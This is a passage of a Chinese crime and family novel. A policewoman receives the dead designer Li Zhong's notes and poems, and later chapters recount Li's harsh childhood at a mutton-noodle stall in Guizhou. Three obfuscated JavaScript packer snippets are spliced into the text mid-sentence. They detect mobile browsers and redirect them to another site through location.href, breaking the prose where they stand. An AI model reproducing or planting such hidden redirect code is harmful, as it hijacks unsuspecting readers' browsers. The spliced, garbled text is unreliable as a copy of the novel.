【我见过方月华接过李重下班。我还说这么好的老公怎么没让我碰到。】 【你现在还羡慕吗?笑死!】 【妈呀,现在我回家看我老公都觉得顺眼多了,起码他不杀人。】 【这是什么地狱笑话。】 【我们能不能跟行政的人说说,把李重坐过的桌椅都扔了。看得渗人的慌。】 【到时候可别叫我们去殡仪馆给她送行。她是非正常死亡,听说这种人死后怨气大,我害怕。】 【但凡她别那么装,也不会沦落到这个地步。过不下去离婚不行吗?】 【@南一彤你咋不吭声?你不是跟李重关系最好吗?你知道她干了啥让她老公这么对她?】 南一彤冷笑一声,@所有人:【没错。我跟她关系最好,既然你们这么好奇,我让她今晚去找你们,当面跟你们说清楚。】 微信群瞬时安静下来。 南一彤仰起头,闷得喘不过气。已经这么晚了,这座城市依旧又热又黏,她站在这里像双腿已经融化的棒棒糖人。 “南小姐!”不远处响起一声呼唤。 南一彤赶紧把脚拔出来,迎上去,“陈警官。” 她欲言又止,有很多话想问,可她知道她什么也不能问。 陈秋池温声让她节哀。 南一彤点点头,哽着声说:“这是我偷偷从我们设计院垃圾桶找到的……” 她有些吃力地递上一个包裹得严严实实的纸盒,打开一看,里面放了一大叠纸,看起来像图纸。 李重虽然已经离职,留在设计院的东西还没来得及拿走。陈秋池之前去设计院调查过,只有项目资料、工作笔记、会议纪要,规规矩矩摆在她的办公桌上。 唯一的私人物品是一枚寿山石印章。高6厘米,通体血红,顶端略有些润白,雕刻者匠心独运,竟在小小的石头上雕琢了一对尾交首接的人头蛇身像,人头泛白,蛇身赤艳,鳞片纤细精妙。细看下来,两个贴面人脸空空如也,没有五官,当然也看不出性别。 除此之外,别无其他。着实想不到南一彤还能找来这么多。 “李重最节省,有人打印完图纸就直接扔掉,她会拿过来继续在背面写写画画。我不知道这些对查案有没有用……那些人恨不得把李重在设计院的痕迹全部清除,把这些她碰过摸过的东西全丢掉。”南一彤想起这些就万分心痛。 “整个设计院除了领导和HR只有你提前知道她离职的事,想必在她心里,你是不一样的存在。” 南一彤眼圈瞬间泛红,“我要是知道她最后……我肯定不会放她走。她只告诉我她必须离职,我问得急了,她就说和方月华吵架了,想出去散散心冷静一段时间。我问她去哪,她也不肯说。她别看整天笑呵呵的,其实把事都憋在心里。她告诉我她最大的梦想,就是出国读博。” “留学?”陈秋池感到有些意外。出国读博当然越早越好,可李重今年已经35岁,且结了婚,从传统世俗角度出发,她花钱出国读书不如攒钱买房生孩子。 “她在攒钱。虽然杯水车薪,可每次攒到一点钱就会特别高兴,叽叽喳喳跟我炫耀。她那么想出国读书,怎么可能会自杀?” 南一彤擦了擦眼泪,咬牙启齿道:“我就知道方月华不正常,可怎么也没想到他竟然敢……” 方月华表面上对李重好得没话说。每天车接车送不说,还会亲自下厨做三餐。逛街不厌其烦地陪同,来大姨妈时会煮红糖姜水让她喝。每次李重熬夜加班,他都会在设计院楼下等……简直就是二十四孝好丈夫。 但他对李重好得似乎有点过头了。这简直不是在宠老婆,是在管女儿。 有时候一群同事出去玩,他不去追问李重,反而是不停给她发微信让她拍照,非要搞清楚谁参加了聚会。 一次两次她还觉得他们挺甜蜜的,次数多了,她会觉得方月华是不是不相信李重?她反而变成他监视李重的工具。 “他这样做让我不太舒服,我就直白告诉他,你别问我,有什么想知道的直接问李重……后来我才知道,他不仅加了我的微信,还加了所有和李重走得近的人。” 陈秋池:“李重有抑郁倾向吗?” 南一彤苦笑两声,“这年头谁不抑郁?我只是听她说这几年动不动就早醒睡不着,但应该没去看医生,也没吃药。” 说到这里,她两眼泛红,“我真的接受不了最后看到她的样子是被……陈警官,你说她那样……痛不痛啊?!” 麻绳勒脖,从下往上被车吊起,瞬间呼吸通道被狠狠挤压,血管受阻,窒息、肿胀、崩裂、出血……然后死亡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284749|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>能不痛吗? 陈秋池拍了拍她的肩头,“路上小心点。到家给我发个消息。” - 李重的字没什么棱角,反而圆滚滚的像热乎乎的汤圆。陈秋池翻开这些图纸的背面,像看到了一群汤圆在锅里欢腾翻滚。 这些显然是李重上班时随笔写下的,有提醒自己开会的时间和地址,有与业主打电话时随手记下的重点指示,有补考勤的日期,有记录大姨妈开始和离开的周期,还有大量她手写的英语单词和短文,看来就如南一彤说说,李重一直没有放弃出国读书的愿望。 这些记录写的非常随意,横七竖八,甚至叠在一起。 除此之外,陈秋池还分辨出一些李重写下的莫名其妙的句子。 -把自己的怪癖、情感以及对生活的态度公之于众。 -在痛苦和未知里,人们往往选择痛苦。 -我需要可呼吸的亲密度。 -我毫不犹豫地打开门,你骑着马昂首闯入。马蹄飞扬,将外面的花香夹裹带入,也将我的庭院践踏得无处下脚。 -戳破粉红泡泡后,发现里面躺着一具干瘪的毫无生机的尸体。 她甚至还写诗,具体而言是一组诗,共三首。没有题目,但最后一句总要落到一句“脏话”。 其一: “我是每天准时出现在你窗口的小鸟。 我会给你吟七言诗。 啾啾啾啾啾啾啾。 我会给你吟五言诗。 啾啾啾啾啾。 我还会给你说, 草你X!” 陈秋池皱着眉看下一首。 其二: “我偷一颗月亮藏进躯体, 头一低, 五脏六腑在月光下蹦迪, 心跳肝颤,胃蠕肠鸣, 血液飞驰在高速公路上, 唯有月亮满脸不自在。 它说: 老子属于全世界。 心肝肺们愣怔片刻, 发出爆笑: 草你X哦!” 陈秋池想起李重家中书柜里摆放的那些文学书。从现实主义小说到自然流意识流小说,从陀思妥耶夫斯基到霍桑,从左拉到劳伦斯,她看得很杂。但她从不在社交平台发表她的阅读记录和感想。要不是南一彤细心,她压根不知道李重不仅会做设计,还会写东西。 这些或许也不能称之为诗。 有点怪,有点疯,好像又有点丧。 只不过作者已经死了,创作背景无从知晓。即便她不死,她笔下之物诞生的那一刻,作者也是死的。读者接手对之解读,作品继而获得重生。 第三首诗写在一张大样图纸的正面,字写得很急,压在黑色线条的样图上,失了些圆润。 其三: “我是怪物,有着七条黑红触角的怪物。 长蛇般的触角,从我腰眼处长出。 蠕动,飞舞,盘旋, 我的肉身像触角花朵里的娇弱花蕊。 我伸出第一条触角,对你说我想你。 我伸出第二条触角,对他说我想你。 我伸出第三条触角,对你说我爱你。 我伸出第四条触角,对他说我爱你。 我伸出第五条触角,对你说我想日你。 我伸出第六条触角,对他说我想日你。 六条触角不管不顾, 抚摸着你和他的, 额头,眉毛,脸颊,鼻尖,胡子…… 往下, 柔情蜜意见缝就顶。 再往下, 情意绵绵见孔就钻。 你瑟瑟发抖,说, 睡吧。明天会头疼。 他扑通跪下,说, 宝贝,我只爱你啊。 触角们哈哈大笑, 大笑之余,自断根部,赤红血液溅崩。 残月升起, 我看着自己仅剩的最后一条触角, 歪着头, 开心地对它说: 现在只有我能想你,爱你,日你啦。 但 草你X呀!” - 陈秋池翻到图纸背面,五个黑字赫然出现在面前,俨然不是李重的笔迹。 笔触劲道如骨,锋利如刀,好似也不应该写下如此柔软的字眼。 她轻声念了出来:“我的小可爱。” 这五个字前面还画了一个心。 8. 第08章 李重啊。 你出生半年后,向来平稳发展的207地质队突然开始倒霉了,一不留神中它垂直跌入自成立35年以来最低的低谷。 都说时代变化的一粒沙,落在每个人的头上就是一座山,可落到你的头上,你除了要扛起这座山,还要背上“导致时代变化”的罪名。 - 207地质队在1989年的腊月头一次这么冷清。 萧索的冬天夹裹着寒意让每个人都蔫儿得像板结的枯草。 队里的人全萎缩在家里,盘算着兜里的钱还够买多少米面粮油,开春要还是这样以后可怎么活? 你父亲也没了去大礼堂跳舞的闲情雅致,连着三个月工资没发,加上铁板钉钉的评奖落了空,让他挺拔的腰弯下去不少。 你母亲工作的大食堂工资也停发了。大家不是没去队长办公室闹,关键闹了也没用。 队长说现在上级领导要求“广开门路,多种经营”,换句话说现在“国家不管你了,你要自谋出路了。” 很多人不明白! 明明建国后地质人的生存模式就是“国家给钱,我来找矿”,擅长“点石成金、创造财富”,哪怕再辛苦,再困难,大家也从未退缩。 可现在他们要被无情地抛到市场经济里,还没学会游泳就被迫下海…… 谁能不忐忑?谁能不害怕? 1990年的新年没人过得舒心。 你父亲和母亲过得更不舒心。 寒冬的冷意也传导到你的身上。 身为早产儿的你,咳得小脸通红,撕心裂肺,终于抵挡不住被送到了大队医院。大队医院明明白白地拒绝接收,原因只有四个字:能力有限。 幸好那位年轻女医生私下找到你母亲,担着风险,通过她在黔北人民医院的同学,把你送了进去。 冰凉的药水一点点汇入你的血管——你这人吧,但凡给你一点活的可能,你就能活得生机勃勃——不过是打了两天吊针,你就不咳了。 你母亲心疼看病钱,尤其在这个青黄不接的时候。她见你稍有好转,便收拾东西带你回队里。 出医院大门的时候,你母亲瞧见医院门口,跨过湘江河上的那座桥,一溜烟的人在对街上摆地摊。 卖书摊、糖人摊、磁带摊、算命摊、吃食摊、衣服摊……每个摊位前都是人。人是什么,你母亲虽然没读过书,可她知道人往哪里流动哪里就有钱,所以人就是钱。 只有她不是钱,她囊中羞涩,摸了又摸那条漂亮的红纱巾,最后还是讪笑着放下。 从医院回到207遵龙基地,要绕过凤凰山,要沿着高坪河,往北走十来里地。天寒地冻的大年初三,你母亲用一根红绳子把你缠在背后,弯着腰逆着风往家赶。 李重,你一定听到了吧。你母亲从放下那条红纱巾就开始骂骂咧咧,骂完抬高价的无良商家,又骂大过年不让人消停的你,骂完你后又继续骂说好来接你们却连个鬼影都没见着的你的父亲。 好似骂人是她的加油泵,是她的力量源,不骂没动力挪步,不骂没精力背你……走到半路,下雪了。你母亲把你从背后换到胸前,用冻到僵硬的手臂把你笼在怀里,然后骂道:“再发烧咳嗽我就把你扔到湘江河里淹死算了。” 那年雪很大,你母亲也不知道从哪里来的力气,抱着你,从早走到晚,快看到207基地时,你父亲踉跄的身影才从雪雾中走出来。 你母亲那口气瞬间没了,一屁股坐在雪地上再也走不动。你父亲自知理亏,赶紧小跑过来把你抱到怀里,看着你母亲长流的眼泪,他说:“喝多了酒,睡忘了。” 紧接着他又说:“这么大的雪,你也不知道找个地方躲一躲?” - 你母亲当然不知道去哪里可以躲一躲。 新年一过,初春暖意渐渐恢复,可怎么也暖不醒被冻透的基地。 人心惶惶,唉声叹气,见面就问今后该咋办?碰到就问干啥能挣钱?扑面而来的压力让所有人都无处遁藏。 就连基地周边的野狗都知道207人心情不佳,少惹为妙。 你母亲着急,质问你父亲。 你父亲近来倒是不去大礼堂跳舞,他开始在家喝酒。他给自己倒了杯鸭溪酱酒,美滋滋地咂了一口说:“急什么?地质队是事业单位,国家怎么可能不管?现在只是迟发工资,又不是不发。会好转的。” 你母亲皱着眉,只能等着你父亲口中所说的好转。 又过两个月,好转没等来,工资不仅继续迟发,你母亲所在的大食堂也不需要那么多帮工,把她给辞掉了。 你母亲得到这个消息的时候,眼前一黑,跑去质问领导。 领导说有人在这干了十几年,资格比你老,有人家里四个病号,没钱吃药就要死人……说到这里,他上下打量着你母亲,“你过年的时候请了好几天的假,别人对你都有意见的。还告诉我你偷偷把食堂的东西往家里拿……” 你母亲冤枉啊。她见她们把烂了一半的白菜扔了,太过心疼才用蛇皮袋装了一兜回来,恰好被人看到,就背上了偷东西的罪名。 她不服。她争论。 可没人听她的。现在在大食堂工作好歹吃饭不用愁,当然更挤破了头。谁会愿意把名额让出来? 你父亲知道后,冷着脸说:“谁让你贪小便宜!” - 两大一小,三对六目,一睁眼就在一个屋子,一对视就开始吵架、哭闹。 你父亲极度需要空间,需要自由,他头也不回地跑出去找队友喝酒聊天。 你母亲往哪里跑?这么多年她的阵地就是这个家。她要守着,护着,时时刻刻。她不需要额外的空间,不需要额外的自由,或者说她以为自己不需要。 刚开始,你父亲的酒局随便一凑就是十来个人,地质员、钻机队、运输队、办公室等等,各个部门的都有。乌烟瘴气的房间里,大家伙凑在一起骂天骂地,就是不敢直接骂队长,实在忍不住就骂骂够不着的领导的领导,喝到半场,又提及当年一起在野外找矿的苦日子,大家更是忆苦思苦,感慨良久。 “我们头戴着草帽,挎个帆布包,住到老乡家里,没有地方睡,就把猪赶走,搭几个木板睡到猪圈里头,那么臭,那么脏,也没嫌弃过,谁知道现在我们……唉!” “说的是啥。连老乡都说我们远看像逃难的,近看像要饭的。成年累月不着家,为的是什么?还不是想为国家多找矿,找好矿,找大矿。” 有人喝着喝着,开始唱起《勘察队之歌》。一群男人搂在一起,撕心裂肺地唱啊。 “是那山谷的风,吹动了我们的红旗。是那狂暴的雨,洗刷了我们的帐篷,我们满怀无限的希望,为祖国寻找富饶的矿藏……” 大家一起难受,一起迷茫,一起发泄。 再后来,你父亲的酒局只能凑齐七八个人。运输队的有人去省城跑出租,有人去茅台镇运酒,钻机队的有人去工地干活,有人去广东打工,办公室的人则靠关系调到其他效益好的单位……还来喝酒的地质员居多,你父亲没好气地说:“咱们都是干技术的,跟他们不一样。” 再在后来,你父亲竟然叫不到人喝酒。几个关系不错的地质员要么承包了队里的小商店,要么去队里刚建的印刷厂当印刷工。 只有你父亲还闲着,拎着酒瓶在家属院找人对酒。 这时候你父亲隐约感到情况不是他想象的那样。 他终于肯回家问一问你母亲家里还有多少存款。你母亲就等着这一天,她拿出账本一五一十地算起来。每月给你奶奶的生活费是多少,给你奶奶家亲戚五花八门的礼金是多少,给你奶奶家修房子买家具的补贴是多少,给你奶奶家……你父亲眉头一皱,打断她,“那是我妈。” “行。现在家里就剩这点存款,你数学好,你算算咱们哪天回你妈家让你妈养着我们?” 你父亲自然不肯回去丢脸,他苦思冥想了一夜后,头一次醒来后第一时间拉着你母亲的手,柔声说:“要不你去镇里摆摊吧。” - 你父亲说你母亲做得一手羊肉粉,这么好的技术不出去摆摊简直就是浪费。 你父亲说摆摊挣钱符合现在“广开门路,全民挣钱”的大趋势。 你父亲说女人能顶半边天,他也没指望你母亲顶半边天,只要她顶个一年半载,等地质队好转就行。 你母亲看着他说得唇角冒白沫,看着他又是一切尽在掌控之中的笃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284750|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定和自得,再看看他被白酒长期浸泡而发黄的眼……这次她有些迟疑了。 你父亲黄眼一瞪。 “你读书多还是我读书多?” "你在外面跑得多还是我跑得多?" “我说你能行就能行。” 你母亲欲言又止,“不然你去找下队长,把我安排到印刷厂上班。一个月虽然挣得少,但好歹咱们饿不着。” 你父亲断然拒绝,“我是干技术的,不是送礼说情的。” “李重怎么办?我带着她没法摆摊。” “送到你妈那里。” “我妈那里还有一家子要养。哪有精力养她。” “你难道让我带她?我带不了。虽然不发工资,我还是业务骨干,要去队部上班的。” 你母亲看着他,深吸一口气说:“那让你妈来带她。” “我妈年龄大了,身体又不好。让她带孩子不是为难她吗?” 你母亲被他的话浇了个透心凉。 凉意顺着心窝窜上脸,她缓了缓,幽幽道:“要是儿子还活着,你妈怕是爬,也要爬来。” 你父亲脸色陡然一变,脑海里好不容易忘记的,那坨插满管子的小身影立马出现,他咻的一下站起来,“你什么意思?我妈到底把你怎么了,你成天看她不顺眼,这种话都说得出口?” 你母亲终于忍不住了。过去日日夜夜无处诉说却又折磨她的话,全部喷射过去。 “我们儿子死了,你妈就把我当个屁,把李重当个屁。” “要不是你们两个撞到我,我儿子怎么会提前出生?我会没看他一眼他就死了?” “是谁杀死了我儿子?” “是谁?” 你母亲咆哮着,身形陡然膨胀,像巨大的怪兽,大到可以顶破土窝子的屋顶,她居高临下地盯着你父亲,就差在他脑门子上贴上“刽子手”三个字。 你父亲吓到了,伶牙和俐齿瞬间卡顿,一个字也吐不出来。他死死盯着面前这头愤怒母狮子,头一次觉得没文化的人吵架竟然如此了得,那个任凭他拿捏的女人竟然敢叫嚣到他头上。 -她……这是在审判自己吗?她审判得对吗?真的是我把儿子害死了?不!不是!绝对不是!我不承认! 过去数个月压在心头的阴霾化作绳索死死缠住他的脖子…… 你父亲哭了,他竟然哭了! 两行清泪被强行从眼睛里挤出来,把你母亲吓了一大跳。 “你以为我不伤心吗?我只是不说而已。” “你以为我妈不伤心吗?她不来咱们家就是不想来这个伤心地。” “你要是不想去摆摊就算了。反正咱们一家三口以后哪怕吃糠咽菜,只要在一起就行。我苦点没关系,但苦了你和闺女,这点我真的……真的……” 说到这里,他几乎哽咽,痛苦地抱住了自己的头。 你母亲浑身炸开的怒毛突然僵住。 她有点懵。 他是在流眼泪吗?这个向来毫无温情暖意的男人竟然还会哭? 过去的四年里,她常年独守着这个冷冰冰的家,好不容易把人盼回来,不是趴在桌子上搞研究,就是出去跳舞喝酒。 他总爱高高在上训斥她,瞧不上这,看不惯那。 他连路边的野狗都保持和颜悦色,对她总是满脸不耐。 他能窥见深埋的矿体,却看不到就在面前的她。 可现在。 -他说我们是一家三口!只要在一起,吃糠咽菜都行!他舍不得我受苦。 -他现在眼里都是我,他都为我哭了! -啊!他原来也是爱的!也是伤心的!只是不善言谈而已! -我是不是说得太过分了?! 你母亲的脑子此刻高速运转,终于转到了你父亲试图让她去的地方。 笼罩在她头顶四年的漫天乌云,终于裂了条缝隙,让天光钻了进来。 她感觉到一丝丝暖意从心头爬到脸上,炸开的怒毛失了支撑,陡然趴伏。 看着面前男人颤抖的双肩,你母亲胸口涨涨的,她走过去,居高临下抚摸着你父亲的头顶,柔声道:“好好好,就听你的,我去摆摊。谁家男人跟你一样爱哭哦!” 9. 第09章 李重啊。 后来认识你的人问你是哪里人?你从不说你是黔北人。 提及黔北,总绕不开羊肉粉。提及羊肉粉,你总会生理性反胃。 从十个月大的时候,你就和羊肉的味道混在一起,整整12年,直到考上市一中才彻底摆脱。 你母亲就在遵龙镇的主街上摆摊。木质两轮拉车上摆满了煤炉、煤炭、铁锅、肉汤、配菜、米粉。小小的你被塞在车尾,和一大盆血粼粼的带肉羊骨坐在一起。 羊膻味浸染着你的头发,你的肌肤,你的血液,你的书本,你的衣服,你的学费,你的一切的一切。以至于你成年后但凡心情不好时,这个味道便从身体里头不可控制地泛出来,像一个开关,一个索引,一个时空门,瞬间将你送到阴冷腥膻的过去。 遵龙镇每逢农历一、三、五赶集。当地叫赶乡场。四面八方的人们像潮水一样涌向主街,绵延两三公里,一眼望过去全是各色各样的人头。 人们背着竹背篓,在肉摊前犹豫徘徊,在布摊前挑挑拣拣,将自己的脚伸进最为流行的不用系鞋带的懒人鞋里,手感滑腻的尼龙袜前多是姑娘们的身影,还有不少老汉排排坐等着赤脚医生的望闻问切。 然而这一切的热闹与你无关。你被一根长绳缠住纤细的脚腕,另一头则绑在拉车上,或爬,或跪,或走,或滚,脏成一团灰,也无人管你,无人在乎。 你母亲挤在一个小巷岔口摆摊,旁边是个照相馆。这里勉强摆得开两张桌子,八个小凳。羊肉来自本地只吃草的麻羊,肉味腥膻,可与米粉的香气一中和,又呈现别样的味道。一口铁锅咕噜噜冒着热气,里头是小火慢熬了六个小时的老汤,不用吆喝,这足料足时的香味立马勾着赶集的人过来围观。 寻着香味一看,一个年轻女人站在铁锅前麻利地烫粉舀肉,算账找零,旁边还有个刚会走路的小女孩,不吭不哼地坐在地上捏蚂蚁。像栓了一条听话小狗。 老汤烫粉,撇去老汤上面浓厚的油层把清汤盛进碗里,就这一操作让不少挑剔的人颇为满意。更不用说,铁锅里一眼看过去满满的羊肉羊骨羊杂,这能不好吃嘛? 三次大集后,你母亲在遵龙镇乡场出了名。两张桌子压根不够用,八个凳子上总坐着人。你母亲忙得脚不沾地,汤粉、切肉、盛碗、收碗、擦桌、收钱,像一个不知疲倦的陀螺。 她当然顾不上你。饿了,就在她稍能缓口气的时候塞你两口粉,哭了,也只当没听见,若是尿了、拉了,反正有尿布兜着,只要不熏着食客就行。 人来人往,形影交织,鼎沸欢腾,你仰起头,看到滚烫羊肉粉碗里升腾着的团团雾气,以及雾气后一张张变形的脸,铁锅里冒尖的羊骨狰狞可怖,腥膻的味道无处不在,你从这张桌底爬到另一张桌底下……凳子上不知是谁的两只不安分的小脚丫正在晃动着,小手里攥着一根红艳艳的糖葫芦……你伸嘴直接咬了上去。 自然又是鸡飞狗跳,你被揍了一顿,绳子缩短到一米。 不过三天大集,你母亲赚到了你父亲半个月的工资。她很兴奋,把钱铺在床上让你父亲“欣赏”。 你父亲淡淡瞥了一眼,说:“那能比吗?” 转过身,从床上拿了几张钱,去买了酒。 - 甜头总是短暂的,在你母亲雄心勃勃准备在摆更多桌,放更多凳,甚至要把娘家表妹叫来帮工的时候,巷口那家照相馆不让她摆摊了。 问就是影响人家生意。 你母亲不服气,说这是公共路口,谁想摆摊就摆摊。 照相馆的人也不废话,在某天大集的凌晨提前占了位置,摆上了各色相框和几把椅子。 你母亲傻了眼,上门理论,对方一副你能把我怎么办的表情将其拒之门外。 眼瞅着天就要亮了,赶场的人就要来了,你坐在拉车后面,看见母亲急哭了。 你撇撇嘴也想哭,不过还没等你哭出来,旁边有人走过来摸了摸你的头,“来我这摆摊吧。我分你一半地儿!” - 好人叫老陀。 是个书摊老板,张嘴闭嘴陀思妥耶夫斯基,所以这条街上的人都叫他老陀。他原来是镇上粉末厂的职工,厂里效益不好,只能出街摆摊混口饭吃。 人当然不老,大概三十五六,长得十分高大,老婆嫌他穷,去年跟个开桑塔纳的矿老板跑了。现在一人吃饱全家不饿,日子过得相当随性邋遢。 除了卖盗版书外,老陀还写一手好字,画的一手好画,甚至还会把别人的字模仿地惟妙惟肖。当然这些都是些不挣钱的本事。 他告诉你母亲,那家照相馆和主街上的小吃店是亲戚。 你母亲瞬间懂了。她动了别人的蛋糕,别人当然要赶她走。但赚钱各凭本事,她不信在这里扎不下根。 她的豪言壮语还没成型,摊位上之前流水般的食客突然少了一大半。香喷喷的羊肉老汤失去了勾人的魅力,赶集的匆匆略过,压根不愿意在她摊位前停留。 好不容易拦住一位相熟的食客,对方支支吾吾,眼神却往你身上飘。 隔壁卖袜子的摊主一脸嫌弃,“真是倒霉,非要把摊摆到我旁边。老陀就你大方,活该你卖不出去书。” 老陀皮笑肉不笑,挽起袖子露出梆硬粗壮的手臂,“你说反了吧,我卖不出去书还不是因为挨着你这个倒霉催的。倒是今天有几个吃羊肉粉的,买了你几双袜子。脑子不好使就多看书,别在这骂骂咧咧,老子的手正痒痒呢!” 卖袜子的气焰立马灭了下去,只敢用眼神戳你母亲。 你母亲明白了,她抱起你,冷着脸径直往小吃店走去。 四面八方的风拂面而来,你扬起小脸,终于闻到了没有腥膻的新鲜空气,看到了飘在空中的彩色气球,以及举在肩头的红艳艳的糖葫芦串…… 小吃店开在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284751|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主街多年。店面发黑,招牌老旧,三四个大锅里冒着热气,荤菜一块二,素菜六毛,量大管饱。正值饭点,不少你母亲认识的熟脸就坐在小吃店里头。 你母亲抱着你就往里面冲。 有个健壮女服务员立马拦住你母亲,“干嘛干嘛呢!别把脏东西带到里头来!”连推带搡把你们两人推回到大街上去。 你母亲开始骂,你开始哭,流水般的人都围过来。 “龙凤胎,倒大霉,一阴一阳,不吉利。” “我们早都打听清楚了,你儿子出生的时候被你女儿克死了。” “你为啥来摆摊?好端端的吃地质队的大锅饭,怎么就突然吃不上了呢?还不是因为怀了龙凤胎开始倒大霉了呗!” “我听说啊,龙凤胎可不止祸害父母,还会让周边的人也跟着倒大霉!我咋说我们店里今天生意不好呢!” “你怀里这个女娃,脏兮兮的,跟个小野狗似的!你看!我说她,她还瞪我!千万别看我,我怕我跟着倒霉啊!” 你母亲气得浑身发抖。泪眼中,面前所有人的脸开始变得模糊、狰狞、扭曲。他们的嘴巴一张一合,却一个字也听不清。 心里那块不能碰触的疤此刻崩裂了。 你母亲抱着你落荒而逃。 - 当天晚上,你被你母亲丢进澡盆里。烫皮的水从头浇下来,你哭得稀里哗啦。 母亲异常沉默,任凭你哭闹,双手像钳子一样箍住你,把你脏得打结的头发用香波搓了一遍又一遍。你被洗成了红彤彤的虾子,澡盆水面漂浮着一层灰垢。 脏兮兮! 倒霉蛋! 不吉利! 走霉运! 你母亲的脑海里不停炸出这些词,越炸下手搓灰的劲儿越大,直到换了三盆水才满意。 洗到最后,你也哭累了,母亲用毛毯将你一裹,丢在床上。 她背对着你,肩头微微颤抖。 半夜,有手指轻轻抚上你的脸,你骤然睁开眼。 母亲的脸上浮漂着一层少见的,温暖的柔软慈光。她的眼神明明紧紧落在你的脸上,可又像穿过你落在另一个人身上。 你用脸轻轻回蹭母亲的手,从喉咙里发出咕噜咕噜的声响,像一只舒服的小猫咪。 舌头放平,只要嘴巴这么上下一吧唧,你就能发出这个世界上最动听的呼喊……突然,母亲脸上的慈光消失了,柔和的脸庞变得崎岖不平,她的手掌骤然张开,捂在你的小脸上,像漫天厚重的乌云,压得你喘不过气来……你使劲挣扎,试图躲开,却无济于事。 这时,你听到你母亲带着哭腔的喃喃呓语。 “为什么,是你,活了下来?” 可能只过了几秒,也可能是几分钟,亦或者过了整整一个世纪。 五指山挪开了。 你面前这个快要发疯的女人捂着脸呜呜哭了起来。 10. 第10章 摆摊这件事自然还要继续,哪怕你们这对母女已经被吐沫喷溅,被谣言裹身。你破天荒地穿上了干净漂亮的新衣服,两个小揪揪扎得高高的,怎么看怎么可爱 肩带勒着母亲的半边身体,她弯着腰,一边往前拽着拉车走,一边说着发狠的话。 “李重,等会看到人了要笑!” “不管别人说什么,你都必须给我笑。” “不能哭!不能怂!我们凭本事挣钱,看谁敢把我们赶走!” 你不安地攥着小手。 面前铁盆里的羊骨散发着的腥膻气息,让你几欲作呕,你撇撇嘴想哭,又忍住了。 此时,黑乎乎的天布上散落着晶晶亮的星。 快到主街时,晨曦初露,山和山旁的建筑渐渐露出真容,从暗到明,看起来像是充满了希望。 确实充满了希望。 老陀竟在路口接你们。他才不管什么倒霉不倒霉,依旧愿意让出一半地儿让你母亲落脚。 你仰起头看着他,他的身形比旁边的山还要高,还要宽。 你母亲自然欣喜万分,第一碗羊肉粉送到了恩人面前。 旁边那个卖袜子还想骂两句,可老陀凶狠的眼神扫过去,对方嘴唇抖了抖,只能把手中的袜子甩得震天响。你母亲这次像是修炼出了铁壁铜墙,装作没看见,笑嘻嘻地招呼客人。 她还摆出一张大大的招牌。 “正宗麻羊,一块一碗。” 老陀吃得满嘴流油,抬头一看,啧了两声,“这咋能赚到钱?之前还卖一块五呢!” - 谁也不能抵挡只卖一块钱的大碗羊肉粉。你母亲把羊肉摞得冒尖,正大光明地用低价把食客们再勾回来。 铁打的大集,流水的赶集人。但凡有一个人不相信所谓的倒霉传言,肯坐下来嗦一碗粉,那就会有第二个人、第三个人,乃至更多的人。 你母亲对此无比坚信。她把自己站成了一棵树,就这么直挺挺地戳在铁锅前,大声吆喝,笑脸相迎。 - 老陀平时最爱躺在书摊前的破躺椅上,抱本破书看,看累了就把书往脸上一罩,睡个天昏地暗。哪怕有人来买书,也不肯睁开眼,主打一个随机卖,随缘买。要是高兴了,遇到能聊两句的人,免费送书的也是常有的。 现在你出现了,他浑浑噩噩的眼神终于有了聚焦。 他把你脚腕上的绳子解开,嘀咕着叹气:“又不是狗,拴啥拴?” 你木然地看了他一眼,又低下头,脚腕早被麻绳勒出青红圈痕,现在它陡然获得自由,竟然僵硬得不知所措。 你傻站着,一动不动。 身后是拥挤的大集。人挤着人,肩撞着肩,四周如浪的方言口音嘈嘈切切,不断膨胀扩张,越过你小小的身躯,几欲将你淹没。 而你那么小,看起来毫无招架之力。 老陀又叹了口气,把你抱在了怀里,你警惕地看着他,小手顶住他的胸口,屁股往外撅。 他被你的样子逗笑了,索性把你高高举起,放在他的肩头。 他实在太高,像根发胖的电线杆。你第一次可以将整条主街看得清清楚楚。 然而,你坐在他的宽阔肩头,就像一只孤零零蹲在电线杆上的可怜小鸟,说话声、吵闹声、收音机滋滋啦啦的波段声……稍微大些就会让你浑身炸毛,双腿发软,你忽一下揪住他的头发,像抓住了救命稻草。 确实。老陀不修边幅,头发凌乱如草。他一点也不嫌疼,大笑道:“重重,抓紧点,咱们要起飞了!” - 于是,你这只不会飞的小小鸟蹲在这尊发胖的电线杆上,从主街北街飞到主街南边,整个大集变成了池塘,那密密麻麻的人头犹如池塘刚繁育的蝌蚪,你不用再仰头看他们高高在上的脸,只需低头轻轻一捏,就能把他们捏住。 